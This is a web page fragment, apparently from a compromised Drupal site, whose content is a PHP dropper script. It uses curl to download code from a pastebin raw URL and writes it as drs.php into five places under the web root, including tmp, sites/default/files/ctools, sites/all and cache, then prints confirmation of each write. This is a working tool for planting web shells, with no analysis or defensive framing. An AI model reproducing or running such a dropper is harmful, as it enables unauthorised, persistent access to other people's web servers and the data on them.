Вы здесь

daw

function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/tmp/drs.php" ;
$text = http_get('http://pastebin.com/raw/cDtaZivz');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo $check."";
}else
echo "not exits";
echo "done .\n " ;

$check1 = $_SERVER['DOCUMENT_ROOT'] . "/sites/default/files/ctools/drs.php" ;
$text1 = http_get('http://pastebin.com/raw/cDtaZivz');
$open1 = fopen($check1, 'w');
fwrite($open1, $text1);
fclose($open1);
if(file_exists($check1)){
echo $check1."";
}else
echo "not exits";
echo "done .\n " ;

$check2 = $_SERVER['DOCUMENT_ROOT'] . "/drs.php" ;
$text2 = http_get('http://pastebin.com/raw/cDtaZivz');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
echo $check2."";
}else
echo "not exits";
echo "done .\n " ;

$check3 = $_SERVER['DOCUMENT_ROOT'] . "/sites/all/drs.php" ;
$text3 = http_get('http://pastebin.com/raw/cDtaZivz');
$open3 = fopen($check3, 'w');
fwrite($open3, $text3);
fclose($open3);
if(file_exists($check3)){
echo $check3."";
}else
echo "not exits";
echo "done .\n " ;

$check4 = $_SERVER['DOCUMENT_ROOT'] . "/cache/drs.php" ;
$text4 = http_get('http://pastebin.com/raw/cDtaZivz');
$open4 = fopen($check4, 'w');
fwrite($open4, $text4);
fclose($open4);
if(file_exists($check4)){
echo $check4."";
}else
echo "not exits";
echo "done .\n " ;
?>